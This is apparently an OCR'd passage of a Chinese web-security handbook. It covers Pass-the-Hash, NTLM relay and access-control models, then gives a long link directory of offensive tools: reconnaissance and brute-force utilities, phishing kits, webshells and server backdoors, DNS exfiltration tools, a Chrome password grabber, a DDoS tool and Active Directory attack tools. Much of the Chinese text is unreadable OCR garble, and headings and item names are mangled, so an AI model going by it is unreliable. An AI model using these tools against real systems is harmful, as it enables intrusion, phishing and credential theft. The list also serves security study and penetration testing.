Pass The Hash (PtH) 2H il gkik o8 UG, N FIE Hash #4759 7575
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AR 2012 4F 12 H %A T 415 Pass The Hash a5 e S, SCREHRE] T — 205 # 3%, T
AT 2AER KT Pass The Hash $2AETHHT#MNT .

Pass The Key

TEAE M NTLM B3R5 T, ATRAJ mimikatz 25 TH EEAREUERD .

NTLM Relay

Tk nl DA— @ RE P o I 28 R P46, ] RAGE Y P TN TS i) 75 R BRBURLR o 320 1 e 4 Ay B 07
WruEAR IS A% XRS5 i D R A EAAUE 2 i o

9.9.4 BEHEE

o Windows {73 IE 5 F1| B %

e The NTLM Authentication Protocol and Security Support Provider

9.10 MPRAGIRVHRE

B LIRS AR LR
o HEPiEH (Discretionary Access Control, DAC)
o BREFAESH (Mandatory Access Control, MAC)
o HTEmTEH (Role-Based Access Control, RBAC)
o HETBHMRURIIE (Attribute-Based Access Control, ABAC)
AR A -
o JHP SRR A
Xge: EBAERIE R, RIS
BUR: S A AR X g — T/ — S A
BRI (Access Control List, ACL): it Jil P S AR ) ¢ A ) Bl

FURRFEHIAERE (Access Control Matrix): —&Hl5 . BRI LM X BRI T H N RS
W ZERPRE, BHFRHTHENETER, XITRETHE IR, LA R

DAC s ACL ({5 Bk E ] P2 3 BER BRI R T4 o A A SRR 7, ST AR50
RIBRI G HAR I, PrOARX AR A 32 (Discretionary ) {144 -
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http://davenport.sourceforge.net/ntlm.html
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H1 T DAC AURFEHIB N HL, B RIS — LR R, BrAGIA T MAC o B4 PRI R AR
ARERARIR, RS REEA I TR0 AURPRR R o XM AONRERIERIBAL, 16 AA R HI R ™
35

RBAC M2 4 0 1k RAAURBO TR, ESIATAE (Role) MIMEE . &P ARIR— %
MG, BAOETPARER— S Z AR YT IBRACE RS, W PMRISF R R TG RIE A 0.
AT RBAC #f it 0k, ABAC M@ it . MRk, @I L Mgk, H5E
PE (BNt ) . #RAERE CYMERIE) . Xt M. ABAC WSS — AU P 275 1 2 B
FAEARBEATHRAHI o
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cHAPTER 10

TRESHFIR

10.1 #FRTIR

10.1.1 HEa

et 1L1

i &

o Web 2 [H

o HIETPF Web 24

o HIETIRNES L4 (BOGF)
o Web it H % B AR5

o XSS Bk IA T RIS B
o SQL HEAYE: S

BE

e Understanding linux network internals
o TCP/IP Architecture, Design, and Implementation in Linux
e Linux Kernel Networking: Implementation and Theory

e Bulletproof SSL and TLS
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e UNIX Network Programming
« TCP / IP HhiliFp
SEO

o SEO ZA

T Hbh
o JORE 2% 2 A T 5 A
o JOLRM 2% % A S A
o MERBUW—LFEBENR (SesE)

Hacking Programming

e Gray Hat Python

o HATHRE: ZaERRTIM AR
o BURIRAYEAR
o RARKEAR

HiEee

o KREWAR 52 A NS RITF IR (5055 )
o P RHEHEALI Spark, Druid, Flume 5 Kafka W 52 (&)
o BRI 5% (Fa30)

NBFIERELL

Web Zai 2> 94 (K #%)
Web Zaxtilgisr I Al (X#%)
Web 42 5 fb2E>] 5 GAN (X#%)
AT ZAZ XHUREARAT] (SEHF)
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ZEEIR
o LA FRAN TR T IR TS M4 224 (X 4%)
o Ml SR L R S BRI GRS

o RECHERM AL Z4 280 (FH30)

o CISSP HJr#>1{5w

o CISSP iAIEH 45/

o Linux RELEWRPIE . ZEERMS5 AN (5%)

o Web 2RI HINT
o REMF—BEMKL N
o BELPTHATI——web T

o (FRZAVEREAEM (BB (3 BBURA T

10.1.2 WebSite

o https://adsecurity.org/

10.1.3 Blog

e https://www.leavesongs.com/

https://paper.seebug.org/

https://xz.aliyun.com/

https://portswigger.net /blog

https://www.hackerone.com/blog

10.1.4 Bug Bounty

 https://www.hackerone.com/
o https://bugcrowd.com

o https://www.synack.com/
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https://paper.seebug.org/
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https://portswigger.net/blog
https://www.hackerone.com/blog
https://www.hackerone.com/
https://bugcrowd.com
https://www.synack.com/
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o https://cobalt.io/

10.1.5 SCISTFIE

Web 2% CTF @EH

https://github.com/orangetw/My-CTF-Web-Challenges

https:/ /www.ripstech.com/php-security-calendar-2017/

https://github.com/wonderkun/CTF _web

https://github.com/CHYbeta/Code- Audit-Challenges

https://github.com/l4wio/ CTF-challenges-by-me

https://github.com/tsug0d /My AwesomeWebChallenge

https://github.com/a0xnirudh/kurukshetra

o http://www.xssed.com/

MG

e Adaz: Active Directory Hunting Lab in Azure

e Detection Vagrant & Packer scripts to build a lab environment complete with security tooling and

logging best practices

10.1.6 HIiRE
Awesome Z 7|

e Awesome CobaltStrike

e Awesome Cybersecurity Blue Team
e Awesome Hacking

e awesome sec talks

e Awesome Security

e awesome web security

e Awesome-Android-Security

Bug Hunting

e HowToHunt Tutorials and Things to Do while Hunting Vulnerability
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https://cobalt.io/
https://github.com/orangetw/My-CTF-Web-Challenges
https://www.ripstech.com/php-security-calendar-2017/
https://github.com/wonderkun/CTF_web
https://github.com/CHYbeta/Code-Audit-Challenges
https://github.com/l4wio/CTF-challenges-by-me
https://github.com/tsug0d/MyAwesomeWebChallenge
https://github.com/a0xnirudh/kurukshetra
http://www.xssed.com/
https://github.com/christophetd/Adaz
https://github.com/clong/DetectionLab
https://github.com/zer0yu/Awesome-CobaltStrike
https://github.com/fabacab/awesome-cybersecurity-blueteam
https://github.com/Hack-with-Github/Awesome-Hacking
https://github.com/PaulSec/awesome-sec-talks
https://github.com/sbilly/awesome-security
https://github.com/qazbnm456/awesome-web-security
https://github.com/saeidshirazi/awesome-android-security
https://github.com/KathanP19/HowToHunt
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Java

e learnjavabug Java Z&4AH = AAHE A demo

X

o atomic red team Small and highly portable detection tests based on MITRE’s ATT&CK

o Powershell Wi % )58 1AL H

e Active Directory Exploitation Cheat Sheet

10.2 X8

10.2.1 X FHIFT

o PRE-list List of (automatic) protocol reverse engineering tools for network protocols

10.2.2 ;ZREST

e Plohmann D, Yakdan K, Klatt M, et al. A comprehensive measurement study of domain generating
malware[C]//25th {USENIX} Security Symposium ({USENIX} Security 16). 2016: 263-278.

e Nasr M, Houmansadr A, Mazumdar A. Compressive traffic analysis: A new paradigm for scalable traffic
analysis[C]//Proceedings of the 2017 ACM SIGSAC Conference on Computer and Communications
Security. ACM, 2017: 2053-2069.

10.2.3 imiRBah1t

e Staicu C A, Pradel M, Livshits B. SYNODE: Understanding and Automatically Preventing Injection
Attacks on NODE. JS[C]//NDSS. 2018.

o Atlidakis V , Godefroid P , Polishchuk M . REST-ler: Automatic Intelligent REST API Fuzzing|[J].
2018.

o Alhuzali A, Gjomemo R, Eshete B, et al. {NAVEX}: Precise and Scalable Exploit Generation for
Dynamic Web Applications[C]//27th {USENIX} Security Symposium ({USENIX} Security 18). 2018:
377-392.
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https://github.com/threedr3am/learnjavabug
https://github.com/redcanaryco/atomic-red-team
https://github.com/rootclay/Powershell-Attack-Guide.git
https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet
https://github.com/techge/PRE-list

Web-Sec Documentation, 475 1.0

10.2.4 HiHHIS

e Lekies S, Kotowicz K, Grof3 S, et al. Code-reuse attacks for the web: Breaking cross-site scripting
mitigations via script gadgets[C]//Proceedings of the 2017 ACM SIGSAC Conference on Computer
and Communications Security. ACM, 2017: 1709-1723.

o Papadopoulos P, Ilia P, Polychronakis M, et al. Master of Web Puppets: Abusing Web Browsers for
Persistent and Stealthy Computation[J]. arXiv preprint arXiv:1810.00464, 2018.

10.2.5 Friziaim

e LiuT, QiY, Shi L, et al. Locate-then-detect: real-time web attack detection via attention-based deep
neural networks[C]//Proceedings of the 28th International Joint Conference on Artificial Intelligence.
AAAT Press, 2019: 4725-4731.

10.2.6 FEFA

e Klein A, Pinkas B. DNS Cache-Based User Tracking[C]//NDSS. 2019.

10.2.7 {84X
o Hayes J, Danezis G. k-fingerprinting: A robust scalable website fingerprinting technique[C]//25th
{USENIX} Security Symposium ({USENIX} Security 16). 2016: 1187-1203.

e Overdorf R, Juarez M, Acar G, et al. How unique is your. onion?: An analysis of the fingerprint-
ability of tor onion services[C]//Proceedings of the 2017 ACM SIGSAC Conference on Computer and
Communications Security. ACM, 2017: 2021-2036.

10.2.8 M{ZiE

e Rosner N, Kadron I B, Bang L, et al. Profit: Detecting and Quantifying Side Channels in Networked
Applications[C]//NDSS. 2019.

10.2.9 JAIE

e Ghasemisharif M, Ramesh A, Checkoway S, et al. O single sign-off, where art thou? an empirical
analysis of single sign-on account hijacking and session management on the web[C]//27th {USENIX}
Security Symposium ({USENIX} Security 18). 2018: 1475-1492.
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10.2.10 P3P

e Pellegrino G, Johns M, Koch S, et al. Deemon: Detecting CSRF with dynamic analysis and property
graphs[C]//Proceedings of the 2017 ACM SIGSAC Conference on Computer and Communications
Security. ACM, 2017: 1757-1771.

10.3 SRR

10.3.1 Whois

e who.is
o JiM WHOIS
o i WHOIS

e WikZ % WHOIS

10.3.2 MLERE

o KHRA
o ICP %4
o FUhFEAIN

10.3.3 CDN #if

o ZHh Ping
« CDN R4t

10.3.4 iR

e Amass In-depth Attack Surface Mapping and Asset Discovery
e subDomainsBrute

e wydomain

e broDomain

e ESD

e aiodnsbrute

e OneForAll
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https://who.is/
https://whois.aliyun.com/
https://whois.cloud.tencent.com/
https://whois.chinaz.com/
https://www.tianyancha.com/
http://www.beianbeian.com/
https://icp.aizhan.com
https://ping.chinaz.com/
https://tools.ipip.net/cdn.php
https://github.com/OWASP/Amass
https://github.com/lijiejie/subDomainsBrute
https://github.com/ring04h/wydomain
https://github.com/code-scan/BroDomain
https://github.com/FeeiCN/ESD
https://github.com/blark/aiodnsbrute
https://github.com/shmilylty/OneForAll
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e subfinder

e altdns Generates permutations, alterations and mutations of subdomains and then resolves them

10.3.5 i ZFKE

the art of subdomain enumeration

sslScrape

aquatone A Tool for Domain Flyovers

teemo A Domain Name & Email Address Collection Tool

DNS DB Jyiticsx

10.3.6 S5EHEIRE

hydra

medusa is a high-speed network authentication cracking tool
Ncrack

htpwdScan

patator

10.3.7 Git {Z&;itiF

GitHack By BugScan

GitTools

Zen

dig github history

gitrob Reconnaissance tool for GitHub organizations
git secrets

shhgit Find GitHub secrets in real time

GitHound GitHound pinpoints exposed API keys on GitHub using pattern matching, commit history

searching, and a unique result scoring system. A batch-catching, pattern-matching, patch-attacking

secret snatcher

x patrol Github leaked patrol

GitDorker scrape secrets from GitHub through usage of a large repository of dorks
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https://github.com/subfinder/subfinder
https://github.com/infosec-au/altdns
https://github.com/appsecco/the-art-of-subdomain-enumeration
https://github.com/cheetz/sslScrape/blob/master/sslScrape.py
https://github.com/michenriksen/aquatone
https://github.com/bit4woo/teemo
https://dnsdb.io/zh-cn/
https://github.com/vanhauser-thc/thc-hydra
https://github.com/jmk-foofus/medusa
https://github.com/nmap/ncrack
https://github.com/lijiejie/htpwdScan
https://github.com/lanjelot/patator
https://github.com/lijiejie/GitHack
https://github.com/BugScanTeam/GitHack
https://github.com/internetwache/GitTools
https://github.com/s0md3v/Zen
https://github.com/dxa4481/truffleHog
https://github.com/michenriksen/gitrob
https://github.com/awslabs/git-secrets
https://github.com/eth0izzle/shhgit
https://github.com/tillson/git-hound
https://github.com/MiSecurity/x-patrol
https://github.com/obheda12/GitDorker
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10.3.8 Github M3z

e Github Monitor Github Sensitive Information Leakage Monitor
e Github Dorks

e GSIL

e Hawkeye

e gshark

o GitGot

e gitGraber monitor GitHub to search and find sensitive data in real time for different online services

10.3.9 BRERIHEAMH

o weakfilescan
¢ DirBrute

e dirsearch

e bfac

e ds_store exp

10.3.10 FREFENEH

o crawlergo A powerful dynamic crawler for web vulnerability scanners

10.3.11 $5406R 5]

Wappalyzer

e whatweb

e Wordpress Finger Print

. CMS H540R 3]

e JA3 is a standard for creating SSL client fingerprints in an easy to produce and shareable way
e TideFinger

o JARM active Transport Layer Security (TLS) server fingerprinting tool

e fingerprintjs Browser fingerprinting library with the highest accuracy and stability
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https://github.com/VKSRC/Github-Monitor
https://github.com/techgaun/github-dorks
https://github.com/FeeiCN/GSIL
https://github.com/0xbug/Hawkeye
https://github.com/neal1991/gshark
https://github.com/BishopFox/GitGot
https://github.com/hisxo/gitGraber
https://github.com/ring04h/weakfilescan
https://github.com/Xyntax/DirBrute
https://github.com/maurosoria/dirsearch
https://github.com/mazen160/bfac
https://github.com/lijiejie/ds_store_exp
https://github.com/0Kee-Team/crawlergo
https://github.com/AliasIO/Wappalyzer
https://github.com/urbanadventurer/whatweb
https://github.com/iniqua/plecost
https://github.com/n4xh4ck5/CMSsc4n
https://github.com/salesforce/ja3
https://github.com/TideSec/TideFinger
https://github.com/salesforce/jarm
https://github.com/fingerprintjs/fingerprintjs
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10.3.12 Waf g4

e identywaf
o wafw00f

o WhatWaf

10.3.13 imO 334

e nmap

e zmap

e masscan

e ShodanHat

e lzr LZR quickly detects and fingerprints unexpected services running on unexpected ports
e 7Grab2 Fast Go Application Scanner

e RustScan The Modern Port Scanner

e DNS dnsenum nslookup dig fierce

e SNMP snmpwalk

10.3.14 DNS #iEZEg

o VirusTotal
o PassiveTotal
« DNSDB

o sitedossier

10.3.15 DNS xXEx

e Cloudflare Enumeration Tool

o Certificate Search

10.3.16 =BR%

e Find aws s3 buckets
e CloudScraper

e AWS Bucket Dump
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https://github.com/enablesecurity/identywaf
https://github.com/enablesecurity/wafw00f
https://github.com/Ekultek/WhatWaf
https://github.com/nmap/nmap
https://github.com/zmap/zmap
https://github.com/robertdavidgraham/masscan
https://github.com/HatBashBR/ShodanHat
https://github.com/stanford-esrg/lzr
https://github.com/zmap/zgrab2
https://github.com/RustScan/RustScan
https://www.virustotal.com/
https://passivetotal.org
https://www.dnsdb.info/
http://www.sitedossier.com/
https://github.com/mandatoryprogrammer/cloudflare_enum
https://crt.sh/
https://github.com/gwen001/s3-buckets-finder
https://github.com/jordanpotti/CloudScraper
https://github.com/jordanpotti/AWSBucketDump
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10.3.17 HIEEH

e Censys

e Shodan

e Zoomeye

o fofa

e scans

o Just Metadata

e publicwww - Find Web Pages via Snippet

10.3.18 Password

e Probable Wordlists Wordlists sorted by probability originally created for password generation and
testing

e Common User Passwords Profiler
e chrome password grabber

e DefaultCreds cheat sheet One place for all the default credentials to assist the pentesters during an

engagement

o SuperWordlist

10.3.19 CI {5 Eiit5E

e secretz minimizing the large attack surface of Travis CI

10.3.20 P ABIBE R

o GHunt Investigate Google Accounts with emails

10.3.21 #pFEUER

o EmailHarvester

10.3.22 Hfth

o datasploit

e watchdog
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https://censys.io
https://www.shodan.io/
https://www.zoomeye.org/
https://fofa.so/
https://scans.io/
https://github.com/FortyNorthSecurity/Just-Metadata
https://publicwww.com/
https://github.com/berzerk0/Probable-Wordlists
https://github.com/Mebus/cupp
https://github.com/x899/chrome_password_grabber
https://github.com/ihebski/DefaultCreds-cheat-sheet
https://github.com/fuzz-security/SuperWordlist
https://github.com/lc/secretz
https://github.com/mxrch/GHunt
https://github.com/maldevel/EmailHarvester
https://github.com/DataSploit/datasploit
https://github.com/flipkart-incubator/watchdog
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e archive
o HTTPLeaks
e htrace

e Quake Command-Line Application 360 [ %23 [a)l% R4

104 HETES

10.4.1 OSINT

e osint

e osint git

e OSINT-Collection
e trape

e Photon

e pockint

10.4.2 #3 T H
e SlackPirate Slack Enumeration and Extraction Tool - extract sensitive information from a Slack
Workspace

e twint An advanced Twitter scraping & OSINT tool

10.4.3 M AEE

e pipl

o hunter

o EagleEye
e LinkedInt
e sherlock

e email enum
e Sreg

o usersearch

e User Searcher User-Searcher is a powerful and free tool to help you search username in 2000+ websites.
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https://archive.org/web/
https://github.com/cure53/HTTPLeaks
https://github.com/trimstray/htrace.sh
https://github.com/360quake/quake_rs
http://osintframework.com/
https://github.com/lockfale/OSINT-Framework
https://github.com/Ph055a/OSINTCollection
https://github.com/jofpin/trape
https://github.com/s0md3v/Photon
https://github.com/netevert/pockint
https://github.com/emtunc/SlackPirate
https://github.com/twintproject/twint
https://pipl.com/
https://hunter.io
https://github.com/ThoughtfulDev/EagleEye
https://github.com/mdsecactivebreach/LinkedInt
https://github.com/sherlock-project/sherlock
https://github.com/Frint0/email-enum
https://github.com/n0tr00t/Sreg
https://usersearch.org/
https://www.user-searcher.com/
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10.4.4 Hacking database

« GHDB

e have i been pwned

10.4.5 §98&

e spoofcheck

e gophish

e SocialFish

e HFish A Most Convenient Honeypot Platform

e blackeye complete Phishing Tool, with 32 templates +1 customizable
e king phisher Phishing Campaign Toolkit

o espoofer An email spoofing testing tool that aims to bypass SPF/DKIM/DMARC and forge DKIM

signatures
o ditto A tool for IDN homograph attacks and detection

o SiteCopy sitecopy is a tool that facilitates personal website backup and network data collection

o goblin —FUE AT L NPT EA B RS

10.4.6 squatting

e dnstwist Domain name permutation engine for detecting homograph phishing attacks, typo squatting,

and brand impersonation

10.4.7 MHFEE

o Infinite Panc

10.4.8 FEWBEN

¢ OMEN Ordered Markov ENumerator - Password Guesser

e genpAss
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https://www.exploit-db.com/google-hacking-database/
https://github.com/kernelmachine/haveibeenpwned
https://github.com/BishopFox/spoofcheck
https://github.com/gophish/gophish
https://github.com/UndeadSec/SocialFish
https://github.com/hacklcx/HFish
https://github.com/thelinuxchoice/blackeye
https://github.com/rsmusllp/king-phisher/
https://github.com/chenjj/espoofer
https://github.com/evilsocket/ditto
https://github.com/Threezh1/SiteCopy
https://github.com/xiecat/goblin
https://github.com/elceef/dnstwist
http://magnet.chongbuluo.com/
http://www.panduoduo.net/
https://www.panc.cc
https://github.com/RUB-SysSec/OMEN
https://github.com/RicterZ/genpAss
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10.4.9 thi&

e email hack FT Python {hid e T MR &4 A

10.4.10 LZZE1EZE

e theHarvester
e Th3inspector

e ReconDog

10.5 =AM

10.5.1 Web Fuzz

o wiuzz

e SecLists

o fuzzdb

o foospidy payloads

o ffuf Fast web fuzzer written in Go

10.5.2 }xzE

e Nuclei a fast tool for configurable targeted vulnerability scanning based on templates offering massive

extensibility and ease of use

o xray ZAEWMTH, SCRAHIL web 224 B H E X poc

10.5.3 XSS Payloads

e PORTSWIGGER XSS cheat sheet
o Pgaijin66 XSS-Payloads

« OWASP XSS

10.5.4 Burp &

e BurpBounty Scan Check Builder

e BurpShiroPassiveScan
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https://github.com/Macr0phag3/email_hack
https://github.com/laramies/theHarvester
https://github.com/Moham3dRiahi/Th3inspector
https://github.com/s0md3v/ReconDog
https://github.com/xmendez/wfuzz
https://github.com/danielmiessler/SecLists
https://github.com/fuzzdb-project/fuzzdb
https://github.com/foospidy/payloads
https://github.com/ffuf/ffuf
https://github.com/projectdiscovery/nuclei
https://github.com/chaitin/xray
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
https://github.com/Pgaijin66/XSS-Payloads
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
https://github.com/wagiro/BurpBounty
https://github.com/pmiaowu/BurpShiroPassiveScan
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e IntruderPayloads A collection of Burpsuite Intruder payloads

10.5.5 =i

e Blasting dictionary

e pydictor A powerful and useful hacker dictionary builder for a brute-force attack
e fuzzDicts Web Pentesting Fuzz 7 #i

e bruteforce lists

e CT subdomains

e PentesterSpecialDict &M 51 & FkS fai fb 5

10.5.6 Unicode Fuzz

o utfl6encode

10.5.7 WAF Bypass

o abuse ssl bypass waf

e wafninja

10.6 &;EFIA /4

10.6.1 #IEREFEN

e SQLMap
e bbqsql

e« MSDAT Microsoft SQL Database Attacking Tool

10.6.2 FELGHMLLIBEEEN

NoSQLAttack

NoSQLMap

Nosql Exploitation Framework

MongoDB audit
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https://github.com/1N3/IntruderPayloads
https://github.com/rootphantomer/Blasting_dictionary
https://github.com/LandGrey/pydictor
https://github.com/TheKingOfDuck/fuzzDicts
https://github.com/random-robbie/bruteforce-lists
https://github.com/internetwache/CT_subdomains
https://github.com/ppbibo/PentesterSpecialDict
http://www.fileformat.info/info/charset/UTF-16/list.htm
https://github.com/LandGrey/abuse-ssl-bypass-waf
https://github.com/khalilbijjou/wafninja
https://github.com/sqlmapproject/sqlmap
https://github.com/Neohapsis/bbqsql
https://github.com/quentinhardy/msdat
https://github.com/youngyangyang04/NoSQLAttack
https://github.com/codingo/NoSQLMap
https://github.com/torque59/Nosql-Exploitation-Framework
https://github.com/stampery/mongoaudit
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10.6.3 #iEERRAFI A

o mysql unshal

e ODAT Oracle Database Attacking Tool

10.6.4 XSS

e BeEF

e XSS Reciver
e DSXS

o XSStrike

e Xsssniper

e tracy

o xsleaks A collection of browser-based side channel attack vectors

10.6.5 SSRF

e SSRFmap
e SSRF Proxy
o Gopherus

o SSRF Testing

10.6.6 #EhREN

e tplmap

10.6.7 HTTP Request Smuggling

o smuggler An HTTP Request Smuggling / Desync testing tool written in Python

e h2cSmuggler HTTP Request Smuggling over HTTP /2 Cleartext (h2c)

10.6.8 &H<EAN

e commix
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https://github.com/cyrus-and/mysql-unsha1
https://github.com/quentinhardy/odat
https://github.com/beefproject/beef
https://github.com/firesunCN/BlueLotus_XSSReceiver
https://github.com/stamparm/DSXS
https://github.com/s0md3v/XSStrike
https://github.com/gbrindisi/xsssniper
https://github.com/nccgroup/tracy
https://github.com/xsleaks/xsleaks
https://github.com/swisskyrepo/SSRFmap
https://github.com/bcoles/ssrf_proxy
https://github.com/tarunkant/Gopherus
https://github.com/cujanovic/SSRF-Testing
https://github.com/epinna/tplmap
https://github.com/defparam/smuggler
https://github.com/BishopFox/h2csmuggler
https://github.com/commixproject/commix
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10.6.9 PHP

e Chankro Herramienta para evadir disable_ functions y open_ basedir

10.6.10 LFI

o LFISuite

e FDsploit

10.6.11 struts

e struts scan

10.6.12 CMS

e Joomla Vulnerability Scanner

e Drupal enumeration & exploitation tool
e Wordpress Vulnerability Scanner

e TPscan —f# ThinkPHP JilAE M

e dedecmscan 24 4 AN

10.6.13 Java #EZE

e ShiroScan Shiro<=1.2.4 @54kt T2

o fastjson rce tool fastjson Ay HATH|H LA

10.6.14 DNS #H3%i%:H

e dnsAutoRebinding

e AngelSword

e Subdomain TakeOver

e dnsReaper dnsReaper - subdomain takeover tool
e« mpDNS

e JudasDNS Nameserver DNS poisoning

 singularity A DNS rebinding attack framework by NGC Group
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https://github.com/TarlogicSecurity/Chankro
https://github.com/D35m0nd142/LFISuite
https://github.com/chrispetrou/FDsploit
https://github.com/Lucifer1993/struts-scan
https://github.com/rezasp/joomscan
https://github.com/immunIT/drupwn
https://github.com/UltimateLabs/Zoom
https://github.com/Lucifer1993/TPscan
https://github.com/lengjibo/dedecmscan
https://github.com/sv3nbeast/ShiroScan
https://github.com/wyzxxz/fastjson_rce_tool
https://github.com/Tr3jer/dnsAutoRebinding
https://github.com/Lucifer1993/AngelSword
https://github.com/m4ll0k/takeover
https://github.com/punk-security/dnsReaper
https://github.com/nopernik/mpDNS
https://github.com/mandatoryprogrammer/JudasDNS
https://github.com/nccgroup/singularity
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10.6.15 DNS #iEiZE

dnsteal

DNSExfiltrator

dns exfiltration by krmaxwell
dns exfiltration by coryschwartz

requestbin for dns

10.6.16 DNS pi&E

dnstunnel de

iodine

10.6.17 DNS Shell

chashell

dnscat2

10.6.18 XXE

XXEinjector
XXER

DTD Finder List DTDs and generate XXE payloads using those local DTDs

10.6.19 mFEF{t

Java RFFIMt

ysoserial

JRE8u20 RCE Gadget

Java Serialization Dumper A tool to dump Java serialization streams in a more human readable form
marshalsec Java Unmarshaller Security - Turning your data into code execution

gadgetinspector A byte code analyzer for finding deserialization gadget chains in Java applications

fastjsonScan fastjson il burp {4
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https://github.com/m57/dnsteal
https://github.com/Arno0x/DNSExfiltrator
https://github.com/krmaxwell/dns-exfiltration
https://github.com/coryschwartz/dns_exfiltration
http://requestbin.net/dns
https://dnstunnel.de/
https://code.kryo.se/iodine/
https://github.com/sysdream/chashell
https://github.com/iagox86/dnscat2
https://github.com/enjoiz/XXEinjector
https://github.com/TheTwitchy/xxer
https://github.com/GoSecure/dtd-finder
https://github.com/frohoff/ysoserial
https://github.com/pwntester/JRE8u20_RCE_Gadget
https://github.com/NickstaDB/SerializationDumper
https://github.com/mbechler/marshalsec
https://github.com/JackOfMostTrades/gadgetinspector
https://github.com/zilong3033/fastjsonScan
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NET RFF3lft

viewgen ASP.NET ViewState Generator

10.6.20 JNDI

Rogue JNDI A malicious LDAP server for JNDI injection attacks
JNDI Injection Exploit

JNDIExploit

10.6.21 ixz0O Hack

nmap vulners
nmap nse scripts

Vulnerability Scanning with Nmap

10.6.22 JWT

jwtcrack

10.6.23 %

infernal twin

10.6.24 dhjg) A\H i

mitmproxy
MITMf

ssh mitm
injectify

Responder Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in
HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2,
Extended Security NTLMSSP and Basic HTTP authentication.

toxy Hackable HTTP proxy for resiliency testing and simulated network conditions

bettercap The Swiss Army knife for 802.11, BLE and Ethernet networks reconnaissance and MITM

attacks
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https://github.com/0xacb/viewgen
https://github.com/veracode-research/rogue-jndi
https://github.com/welk1n/JNDI-Injection-Exploit
https://github.com/feihong-cs/JNDIExploit
https://github.com/vulnersCom/nmap-vulners
https://github.com/cldrn/nmap-nse-scripts
https://github.com/scipag/vulscan
https://github.com/brendan-rius/c-jwt-cracker
https://github.com/entropy1337/infernal-twin
https://github.com/mitmproxy/mitmproxy
https://github.com/byt3bl33d3r/MITMf
https://github.com/jtesta/ssh-mitm
https://github.com/samdenty99/injectify
https://github.com/lgandx/Responder
https://github.com/h2non/toxy
https://github.com/bettercap/bettercap
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10.6.25 DHCP

e DHCPwn

10.6.26 DDoS

e Saddam

10.6.27 FEMFEiEX

o Regexploit Find regular expressions which are vulnerable to ReDoS

10.6.28 Shellcode

e go shellcode A repository of Windows Shellcode runners and supporting utilities

10.6.29 #E4

e secscan authcheck

10.6.30 F|HEE

« DNSLog /&2 iif% DNS fRHTicsRA HTTP i flicski LA
o LuWu £TBAELRE &G B 3k pE T A

10.6.31 jFmiAFIFHE

e Penetration Testing POC

e thc ipv6 IPv6 attack toolkit

10.6.32 jFRAFIAHES

e pocsuited

10.6.33 Windows

e« PyWSUS a standalone implementation of a legitimate WSUS server which sends malicious responses

to clients
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https://github.com/mschwager/dhcpwn
https://github.com/OffensivePython/Saddam
https://github.com/doyensec/regexploit
https://github.com/Ne0nd0g/go-shellcode
https://github.com/ztosec/secscan-authcheck
https://github.com/BugScanTeam/DNSLog
https://github.com/QAX-A-Team/LuWu
https://github.com/Mr-xn/Penetration_Testing_POC
https://github.com/vanhauser-thc/thc-ipv6
https://github.com/knownsec/pocsuite3
https://github.com/GoSecure/pywsus
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10.7 EiFZiE

10.7.1 Bad USB

WiFiDuck Keystroke injection attack plattform

BadUSB code badusb ftj—L65] 7528 K ALY

WHID WiFi HID Injector - An USB Rubberducky / BadUSB On Steroids

BadUSB cable based on Attiny85 microcontroller

USB Rubber Ducky

10.7.2 wifi

wifiphisher
evilginx
mana

pwnagotchi

10.7.3 Fc&%

hackrf low cost software radio platform

10.8 Web #X 1t

10.8.1 WebShell EETH

%71
antSword

VK ShAS R 08 W A B i

weevely3 Weaponized web shell

Altman the cross platform webshell tool in .NET
Webshell Sniper Manage your website via terminal

quasibot complex webshell manager, quasi-http botnet

10.7.

LRSS
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https://github.com/spacehuhn/WiFiDuck
https://github.com/Xyntax/BadUSB-code
https://github.com/whid-injector/WHID
https://github.com/joelsernamoreno/BadUSB-Cable
https://github.com/hak5darren/USB-Rubber-Ducky
https://github.com/wifiphisher/wifiphisher
https://github.com/kgretzky/evilginx
https://github.com/sensepost/mana
https://github.com/evilsocket/pwnagotchi
https://github.com/mossmann/hackrf
https://github.com/Chora10/Cknife
https://github.com/antoor/antSword
https://github.com/rebeyond/Behinder
https://github.com/epinna/weevely3
https://github.com/keepwn/Altman
https://github.com/WangYihang/Webshell-Sniper
https://github.com/Smaash/quasibot
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10.8.2 WebShell

webshell

PHP backdoors

php bash - semi-interactive web shell
Python RSA Encrypted Shell

b374k - PHP WebShell Custom Tool
JSP Webshells

MemShellDemo

10.8.3 Web J5I7]

pwnginx
Apache backdoor

SharpGen .NET Core console application that utilizes the Rosyln C# compiler to quickly cross-compile

.NET Framework console applications or libraries

IIS-Raid A native backdoor module for Microsoft IIS

10.9 #Mm@iZz)

10.9.1 i3

impacket is a collection of Python classes for working with network protocols
adidnsdump Active Directory Integrated DNS dump tool

BloodHound Six Degrees of Domain Admin

PlumHound Bloodhound for Blue and Purple Teams

windapsearch Python script to enumerate users, groups and computers from a Windows domain
through LDAP queries

ldapdomaindump Active Directory information dumper via LDAP
Kerberoast a series of tools for attacking MS Kerberos implementations
ADRecon Active Directory Recon

Creds Some usefull Scripts and Executables for Pentest & Forensics
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https://github.com/tennc/webshell
https://github.com/bartblaze/PHP-backdoors
https://github.com/Arrexel/phpbash
https://github.com/Eitenne/TopHat.git
https://github.com/b374k/b374k
https://github.com/threedr3am/JSP-Webshells
https://github.com/jweny/MemShellDemo
https://github.com/t57root/pwnginx
https://github.com/WangYihang/Apache-HTTP-Server-Module-Backdoor
https://github.com/cobbr/SharpGen
https://github.com/0x09AL/IIS-Raid
https://github.com/SecureAuthCorp/impacket
https://github.com/dirkjanm/adidnsdump
https://github.com/BloodHoundAD/BloodHound
https://github.com/PlumHound/PlumHound
https://github.com/ropnop/windapsearch
https://github.com/dirkjanm/ldapdomaindump
https://github.com/nidem/kerberoast
https://github.com/sense-of-security/ADRecon
https://github.com/S3cur3Th1sSh1t/Creds
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e Lithnet Password Protection for Active Directory Active Directory password filter featuring breached

password checking and custom complexity rules

o ASREPRoast Project that retrieves crackable hashes from KRB5 AS-REP responses for users without

kerberoast preauthentication enabled.

10.9.2 LDAP

e SharpHound3 Data Collector for the BloodHound Project

10.9.3 W FR=mFIH

e LyncSniper A tool for penetration testing Skype for Business and Lync deployments
o MSOLSpray A password spraying tool for Microsoft Online accounts (Azure/0365)

e MailSniper MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange

